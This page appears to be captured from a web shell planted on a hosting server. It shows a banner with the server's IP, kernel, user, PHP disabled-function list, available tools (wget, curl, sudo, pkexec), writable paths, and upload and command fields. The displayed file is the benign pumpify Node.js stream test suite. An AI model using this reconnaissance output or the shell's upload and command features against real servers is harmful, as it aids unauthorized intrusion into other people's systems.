X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.145.152.168
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/public_html/indijourneys.com/node_modules/pumpify/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/public_html/indijourneys.com/node_modules/pumpify/test.js
var tape = require('tape')
var through = require('through2')
var pumpify = require('./')
var stream = require('stream')
var duplexify = require('duplexify')

tape('basic', function(t) {
  t.plan(3)

  var pipeline = pumpify(
    through(function(data, enc, cb) {
      t.same(data.toString(), 'hello')
      cb(null, data.toString().toUpperCase())
    }),
    through(function(data, enc, cb) {
      t.same(data.toString(), 'HELLO')
      cb(null, data.toString().toLowerCase())
    })
  )

  pipeline.write('hello')
  pipeline.on('data', function(data) {
    t.same(data.toString(), 'hello')
    t.end()
  })
})

tape('3 times', function(t) {
  t.plan(4)

  var pipeline = pumpify(
    through(function(data, enc, cb) {
      t.same(data.toString(), 'hello')
      cb(null, data.toString().toUpperCase())
    }),
    through(function(data, enc, cb) {
      t.same(data.toString(), 'HELLO')
      cb(null, data.toString().toLowerCase())
    }),
    through(function(data, enc, cb) {
      t.same(data.toString(), 'hello')
      cb(null, data.toString().toUpperCase())
    })
  )

  pipeline.write('hello')
  pipeline.on('data', function(data) {
    t.same(data.toString(), 'HELLO')
    t.end()
  })
})

tape('destroy', function(t) {
  var test = through()
  test.destroy = function() {
    t.ok(true)
    t.end()
  }

  var pipeline = pumpify(through(), test)

  pipeline.destroy()
})

tape('close', function(t) {
  var test = through()
  var pipeline = pumpify(through(), test)

  pipeline.on('error', function(err) {
    t.same(err.message, 'lol')
    t.end()
  })

  test.emit('error', new Error('lol'))
})

tape('end waits for last one', function(t) {
  var ran = false

  var a = through()
  var b = through()
  var c = through(function(data, enc, cb) {
    setTimeout(function() {
      ran = true
      cb()
    }, 100)
  })

  var pipeline = pumpify(a, b, c)

  pipeline.write('foo')
  pipeline.end(function() {
    t.ok(ran)
    t.end()
  })

  t.ok(!ran)
})

tape('always wait for finish', function(t) {
  var a = new stream.Readable()
  a._read = function() {}
  a.push('hello')

  var pipeline = pumpify(a, through(), through())
  var ran = false

  pipeline.on('finish', function() {
    t.ok(ran)
    t.end()
  })

  setTimeout(function() {
    ran = true
    a.push(null)
  }, 100)
})

tape('async', function(t) {
  var pipeline = pumpify()

  t.plan(4)

  pipeline.write('hello')
  pipeline.on('data', function(data) {
    t.same(data.toString(), 'HELLO')
    t.end()
  })

  setTimeout(function() {
    pipeline.setPipeline(
      through(function(data, enc, cb) {
        t.same(data.toString(), 'hello')
        cb(null, data.toString().toUpperCase())
      }),
      through(function(data, enc, cb) {
        t.same(data.toString(), 'HELLO')
        cb(null, data.toString().toLowerCase())
      }),
      through(function(data, enc, cb) {
        t.same(data.toString(), 'hello')
        cb(null, data.toString().toUpperCase())
      })
    )
  }, 100)
})

tape('early destroy', function(t) {
  var a = through()
  var b = through()
  var c = through()

  b.destroy = function() {
    t.ok(true)
    t.end()
  }

  var pipeline = pumpify()

  pipeline.destroy()
  setTimeout(function() {
    pipeline.setPipeline(a, b, c)
  }, 100)
})

tape('preserves error', function (t) {
  var a = through()
  var b = through(function (data, enc, cb) {
    cb(new Error('stop'))
  })
  var c = through()
  var s = pumpify()

  s.on('error', function (err) {
    t.same(err.message, 'stop')
    t.end()
  })

  s.setPipeline(a, b, c)
  s.resume()
  s.write('hi')
})

tape('preserves error again', function (t) {
  var ws = new stream.Writable()
  var rs = new stream.Readable({highWaterMark: 16})

  ws._write = function (data, enc, cb) {
    cb(null)
  }

  rs._read = function () {
    process.nextTick(function () {
      rs.push('hello world')
    })
  }

  var pumpifyErr = pumpify(
    through(),
    through(function(chunk, _, cb) {
      cb(new Error('test'))
    }),
    ws
  )

  rs.pipe(pumpifyErr)
    .on('error', function (err) {
      t.ok(err)
      t.ok(err.message !== 'premature close', 'does not close with premature close')
      t.end()
    })
})

tape('returns error from duplexify', function (t) {
  var a = through()
  var b = duplexify()
  var s = pumpify()

  s.setPipeline(a, b)

  s.on('error', function (err) {
    t.same(err.message, 'stop')
    t.end()
  })

  s.write('data')
  // Test passes if `.end()` is not called
  s.end()

  b.setWritable(through())

  setImmediate(function () {
    b.destroy(new Error('stop'))
  })
})

Anon7 - 2022
SCDN GOK